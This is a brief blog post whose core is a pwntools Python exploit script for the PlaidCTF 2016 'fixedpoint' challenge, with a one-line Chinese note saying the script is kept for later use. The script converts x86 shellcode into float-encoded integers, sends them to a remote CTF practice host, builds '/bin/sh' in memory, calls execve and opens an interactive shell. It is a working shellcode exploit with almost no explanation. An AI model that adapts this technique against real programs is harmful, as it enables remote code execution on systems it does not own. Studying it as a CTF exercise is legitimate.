ha1vk's blog
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IEE754_shellcode

发表于 分类于

fixedpoint_plaid_2016的一题，留着备用https://github.com/ispoleet/ctf-writeups/tree/master/plaid_ctf_2016/fixedpoint

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#coding:utf8
from pwn import *
import struct
 
#target = process('./fixedpoint_plaid_2016')
target = remote('node3.buuoj.cn',26804)
 
def get_int(s):
  a = struct.unpack('<f', s)[0]* 1337
  return struct.unpack('I', struct.pack('<I', a))[0]
 
 
print "Sending IEEE754 shellcode..."
sleep(1)
 
for i in range(3):
  target.sendline(str(get_int('\x00\x00\x00\x00')))
 
target.sendline(str(get_int('\x99\x89\xc3\x47')))     # mov ebx, eax
target.sendline(str(get_int('\x41\x44\x44\x44')))     # nop/align
 
for c in '/bin/sh\x00':
  target.sendline(str(get_int('\x99\xb0'+c+'\x47')))  # mov al, c
  target.sendline(str(get_int('\x57\x89\x03\x43')))   # mov [ebx], eax; inc ebx
 
for i in range(8):
  target.sendline(str(get_int('\x57\x4b\x41\x47')))   # dec ebx
 
target.sendline(str(get_int('\x99\x31\xc0\x47')))     # xor eax, eax
target.sendline(str(get_int('\x99\x31\xc9\x47')))     # xor ecx, ecx
target.sendline(str(get_int('\x99\x31\xd2\x47')))     # xor edx, edx
target.sendline(str(get_int('\x99\xb0\x0b\x47')))     # mov al, 0xb
target.sendline(str(get_int('\x99\xcd\x80\x47')))     # int 0x80
raw_input()
target.sendline('c')
 
target.interactive()